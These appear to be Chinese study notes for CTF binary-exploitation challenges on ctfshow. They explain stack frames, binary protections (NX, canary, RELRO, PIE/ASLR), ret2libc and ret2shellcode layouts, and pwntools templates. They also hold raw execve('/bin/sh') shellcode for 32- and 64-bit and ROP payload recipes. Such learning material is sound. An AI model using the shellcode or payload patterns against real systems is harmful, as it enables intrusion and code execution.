通用操作
chmod 777 pwnchecksec file pwn file pwn
from pwn import *io = remote("pwn.challenge.ctf.show" ,端口) context.log_level = 'debug' p = process('./pwn' ) p = remote('pwn.challenge.ctf.show' , 28234 ) payload = asm(shellcraft.sh()) io.sendline(payload) io.sendlineafter(b'Username:' ,payload) io.sendline(password) io.recvuntil(b',' ) password = io.recv() io.close() io.interactive()
32位:buf+system+返回地址+参数1+[参数2] 64位:buf+pop rdi;ret+参数+system+返回地址
ida
快捷键
“Segments”(段)窗口:Shift + F7
函数
strcmp
返回值
含义
说明
0
相等
两个字符串完全相同
> 0
str1 > str2
第一个不匹配字符在 str1 中的值大于 str2
< 0
str1 < str2
第一个不匹配字符在 str1 中的值小于 str2
puts
输出数组直到遇到\0
寻找方向是从内存低地址到高地址,在ida中显示为向下
gets(s)
从标准输入读取字符串到s
不检查边界:gets() 不管 s 指向的缓冲区有多大,都会一直读取直到遇到换行符 \n
如果输入超过缓冲区大小,会覆盖栈上的其他数据(包括返回地址)
动态/静态编译判断:
ida
shift+F11
imports 超多 libc 函数 → 动态
imports 几乎为空 → 静态
file
statically linked:静态
dynamically linked + interpreter /lib/ld-linux.so.2:动态
checksec(本质上是通过一些检测机制来判断是否存在某种保护,这个检测机制有些时候是会有误报的)
动态
RWX
Has RWX segments
二进制文件中存在至少一个段(通常是代码段),它同时拥有读、写、执行权限
NX
NX enabled
NX(或 DEP,Data Execution Prevention)将数据区域(如栈、堆)标记为不可执行,防止攻击者将 shellcode 写入栈/堆后直接跳转执行
NX→一定找pop_rdi/ret:
ROPgadget --binary "pwn" --only "pop|ret"
gdb pwn break mainrun vmmap
动态,开启NX保护,部分开启RELRO保护
ret2libc:例题1 ;例题2 ;例题3
动态 + 静态栈保护函数
爆破canary值绕过栈保护函数memcmp()
ret2libc【Return-to-libc】
(ai)一种栈溢出利用技术 ,当程序开启了 NX(数据执行保护) 导致无法在栈上执行 shellcode 时,攻击者通过覆盖返回地址,让程序跳转到 libc 库中的现有函数 (如 system、execve)来执行恶意操作。
Stack
No canary found
后门函数
32位后门函数
32位后门函数指定参数 + NX + Partial RELRO
64位后门函数
有system()和/bin/sh
32位
64位
有system()和/sh:处理方式和/bin/sh一样
只有system()
32位
64位
无system()和/bin/sh
32位 + NX + Partial RELRO
64位
canary found
import subprocess import sys import re def analyze_canary(filename): print (f"[*] 正在分析文件: {filename}" ) try: file_info = subprocess.check_output(['file' , filename]).decode() is_64 = "64-bit" in file_info arch_str = "64-bit" if is_64 else "32-bit" print (f"[*] 架构识别: {arch_str}" ) except Exception as e: print (f"[!] 错误: 无法获取文件信息 - {e}" ) return try: asm = subprocess.check_output(['objdump' , '-d' , '-M' , 'intel' , filename]).decode() except Exception as e: print (f"[!] 错误: 无法运行 objdump - {e}" ) return canary_pattern = "fs:\[0x28\]" if is_64 else "gs:\[0x14\]" fail_func_pattern = "__stack_chk_fail" has_setup = re.search(canary_pattern, asm) has_fail_call = re.search(fail_func_pattern, asm) print ("-" * 40) if has_setup and has_fail_call: print ("[+] 结果: 确认开启了真·栈保护!" ) print (f" - 检测到 Canary 存取指令: {canary_pattern}" ) print (f" - 检测到保护失败处理函数: {fail_func_pattern}" ) elif has_fail_call and not has_setup: print ("[!] 结果: 检测到伪保护 (False Positive)!" ) print (f" - 虽然存在 {fail_func_pattern} 符号,但没有发现 Canary 指令。" ) print (" - 结论: checksec 可能会误报,但实际上可以直接溢出。" ) else : print ("[-] 结果: 该程序完全没有栈保护。" ) print ("-" * 40) if __name__ == "__main__" : if len(sys.argv) < 2: print ("用法: python3 check_canary.py <文件名>" ) else : analyze_canary(sys.argv[1])
RELRO
当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。 当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。 当RELRO为No RELRO时,表示.got与.got.plt都可写。
(sq)然后再去查地址就行,objdump -h pwn20或者readelf -S ./pwn20 |grep '.got'
.got.plt
在同一次进程生命周期里,同一个共享库函数的加载地址是固定的;
进程一重启,地址就可能换地方——这就是 ASLR(地址空间布局随机化)在起作用
.got.plt 里的值是绝对地址(64 位下 8 字节指针),不是相对偏移。它在运行过程中会变——从 0 → 第一次解析后变成真实函数地址。
.plt 本身代码段只读,只是无条件 jmp *.got.plt[n];
如果 .got.plt[n] 还没填好,那个 jmp 就会落到一段“解析”代码里,由动态链接器负责把地址填上。
PIE
ASLR
操作系统内核在加载程序到内存时,随机化 各个内存区域的基地址
PIE 是程序本身的属性 ,决定它能否被随机化
ASLR 是系统的行为 ,决定是否执行随机化
两者缺一不可 :没有 PIE,ASLR 对代码段无效;没有 ASLR,PIE 毫无意义
程序类型
ASLR 状态
攻击难度
non-PIE + ASLR 关闭
所有地址固定
🔴 极易(直接跳转)
non-PIE + ASLR 开启
代码段固定,其他随机
🟡 中等(需泄露 libc 地址)
PIE + ASLR 关闭
基址固定(因为 ASLR 关)
🔴 极易
PIE + ASLR 开启
完全随机化
🟠 困难(需泄露代码地址)
程序类型
ASLR 状态
程序有能力随机化吗?
操作系统实际执行随机化吗?
最终加载基址
PIE
开启
✅ 有
✅ 会
随机
PIE
关闭
✅ 有
❌ 不会
固定(通常为 0x555555554000 之类)
non-PIE
开启
❌ 没有
❌ 无法(只能随机化其他区域)
固定(编译时写死)
non-PIE
关闭
❌ 没有
❌ 不会
固定
(ai)这是最直接看到 ASLR 状态的方式。使用 --kernel 参数,checksec 会读取当前系统的内核配置和参数,并明确列出 ASLR 的相关状态
在输出中,你会看到类似这样的行,直接表明了 ASLR 的开启情况
Address space layout randomization Enabled Sysctl kernel.randomize_va_space Randomize address of kernel image Disabled Kernel Config CONFIG_RANDOMIZE_BASE
静态
mprotect函数
ROPgadget --binary pwn --only "pop|ret" | grep "pop edi ; pop esi ; pop ebx ; ret"
零碎知识点
shell
在大多数 Unix 或类 Unix 系统中,/bin/sh 是默认的 shell 解释器
重定向&&文件描述符
通过重定向符>&0可以将命令的输出从默认的 stdout(文件描述符 1)重定向到标准输入 0。
终端设备的双向性:
在终端环境中,文件描述符 0(标准输入)、1(标准输出)、2(标准错误)均指向同一个终端设备。虽然 stdout 被关闭,但终端设备本身支持读写,因此通过 >&0 将输出写入文件描述符 0 时,仍能显示在终端上。
此时输入ls >&0可以展开所有的目录文件
cat c* >&0:匹配所有以 c 开头的文件(如 catflag),将其内容输出到终端,于是ctfshow答案直接被显示出来了
gcc
gcc flag.c -o flag nasm -f elf32 XXX.asm -o XXX.o ld -m elf_i386 XXX.o -o XXX gcc -o flag flag.s chmod 777 flag./flag gdb XXX run
ida操作
取消定义(Undefine) :
按下键盘上的 U 键。
这会把当前定义的数据“炸碎”,变成一堆原始的字节(通常显示为 db 且只有单个字节)。
重新定义为双字(Make Dword) :
确保光标还在 080490E8 这个起始位置。
按下键盘上的 D 键。
按第一次,它可能变成 db (byte)。
按第二次,变成 dw (word)。
按第三次 ,它就会变成 dd (dword) 。
此时,原本显示的 ‘Welc’ 就会变成十六进制数值 636C6557h
重新回到 ‘Welc’:A
汇编知识点
dd/db
dd (Define Double-word):把 4 个字节当作“一个整体”
类型 :它定义的是一个 32位整数 (Integer) 。
受端序影响 :是。
db (Define Byte):把数据当作“一串独立的字节”
类型 :它定义的是 字节数组 (Array of Bytes) 或 字符串 。
受端序影响 : 否 。
ptr
mov ecx, dword ptr aWelcomeToCtfsh
ai分析:
ecx :这是 目的地。 ecx 是一个 32 位的通用寄存器(Counter Register),这里被用作存放数据的容器。
dword ptr (Double Word Pointer) :这是 取多少数据 。
ptr 是指针的意思,指向内存中的某个位置。
dword (Double Word) 表示 4个字节 (32位)。
合起来的意思是: “请去内存里抓取 4 个字节的数据” 。
aWelcomeToCtfsh :这是源地址 。
这只是 IDA Pro 给内存地址起的一个 名字(标签) ,为了让你好记。
它代表了字符串 “Welcome_to_CTFshow_PWN” 在内存中存放的 起始地址 。
暂时还没有归类的笔记
ret2shellcode
SHELLCODE = ( b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68" b"\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" ) SHELLCODE_64 = ( b"\x48\x31\xd2" b"\x48\x31\xf6" b"\x48\x31\xff" b"\x50" b"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" b"\x53" b"\x48\x89\xe7" b"\x48\x31\xc0" b"\xb0\x3b" b"\x0f\x05" )
脚本
from pwn import *p = process('./main' ) p.send(b'payload' ) p.sendline(b'payload' ) p.sendlineafter(b'prompt:' , b'input' ) p.sendafter(b'prompt:' , b'input' ) p.sendline('ls' ) p.sendline('cat flag.txt' )
栈布局(x86架构): 高地址 +------------------+ ← 调用前的栈顶 | 参数N | +------------------+ | ... | +------------------+ | 参数1 | +------------------+ | 返回地址 | +------------------+ ← 调用后的栈顶(返回地址压入后) | 旧的EBP | ← 保存的上一个栈帧指针 +------------------+ ← 当前EBP(栈帧指针) | 局部变量1 | +------------------+ | 局部变量2 | +------------------+ | ... | +------------------+ ← ESP(栈指针)始终指向栈顶 低地址
; 函数prologue(开头) push ebp ; 保存旧的ebp mov ebp, esp ; 设置新的ebp(栈帧指针) sub esp, 12 ; 为3个局部变量分配空间(x,y,z) ; 现在访问参数: ; [ebp+8] = 第一个参数 (1) ; [ebp+12] = 第二个参数 (2) ; [ebp+16] = 第三个参数 (3) ; 访问局部变量: ; [ebp-4] = x ; [ebp-8] = y ; [ebp-12] = z
也就是说先进后出是因为在调用前就确定的参数由于语言设计,函数会从ebp往前(旧ebp占用空间大小是确定的每个参数大小是函数声明中确定的)按照固定偏移知道参数地址,之后函数内局部变量按照声明顺序一个个加入到栈中开辟空间(只要声明就开辟空间,和赋值与否无关)然后这些参数一直处于ebp和esp中间按照声明顺序(esp随最后一个声明的局部变量移动)所以局部变量的地址可以同时通过ebp和esp表示但固定表示方式是ebp
ESP (Extended Stack Pointer 扩展栈指针):E = Extended (32位扩展,相对于16位的 SP)
EBP (Extended Base Pointer 扩展基址指针):B = Base (基址/基帧)
Register(寄存器)
时代
16位
32位
64位
栈指针
SP
ESP
RSP
基址指针
BP
EBP
RBP
含义
Stack Pointer
Extended SP
Register SP
含义
Base Pointer
Extended BP
Register BP
总结 esp,ebp 等栈结构在调用函数中的变化
调用函数:
首先 main 第一次调用函数 ebp 指向 main 的栈帧,esp 永远指向栈顶(main 局部参数最后声明的一个的地址)
【栈帧的最低地址=栈顶=esp 指向位置】
push 压参数从后往前入栈
然后压栈返回地址(call add=push eip+?;jmp add)
【从 push 参数开始 esp 随着向低地址移动因为 esp 永远指向栈顶】
push ebp 压入旧 ebp
mov ebp,esp 设置新的 EBP(指向保存的旧 EBP 位置)
sub esp, XX 为局部变量分配空间
【局部变量如果没有给赋值也开辟空间】
【一次性分配 XX字节,编译器可能按不同顺序分配,分配顺序无关紧要】
【eax 是寄存器不在栈里面,在 CPU 芯片内部】
【赋值 mov 局部变量是通过赋值内容地址(输入缓冲区)->寄存器->局部变量(这里没有栈地址对应函数变量名变化只有栈内容变化)】
; return x + y; ; 等价于: mov eax, [ebp-4] ; eax = x add eax, [ebp-8] ; eax = x + y ; 释放前会把数据累加到寄存器里面,累加时按照声明顺序而不是先进后出【从ebp往低地址读取】 ; 栈完全没有变化!只是CPU内部寄存器在操作
然后 leave:等价于两条 -> =mov esp, ebp (ESP 指向 EBP) ;pop ebp (恢复旧的 EBP)
+------------------+ | main 的局部变量 | +------------------+ ← EBP (恢复为 main 的 EBP) | 参数2 (20) | +------------------+ | 参数1 (10) | +------------------+ | 返回地址 | +------------------+ ← ESP (leave 后指向这里)
然后 ret=pop eip,释放返回地址(esp 随之向高地址移动但参数未清理)
+------------------+ | main 的局部变量 | +------------------+ ← EBP (main) | 参数2 (20) | +------------------+ | 参数1 (10) | +------------------+ ← ESP (指向参数,还未清理)
清理参数(调用者负责)add esp, XXX(ESP 向上移动 XXX 字节)
【实际参数数据还在,只是后续视为空白数据直接覆盖】
+------------------+ | main 的局部变量 | +------------------+ ← EBP (main) | ... | +------------------+ ← ESP (恢复调用前位置)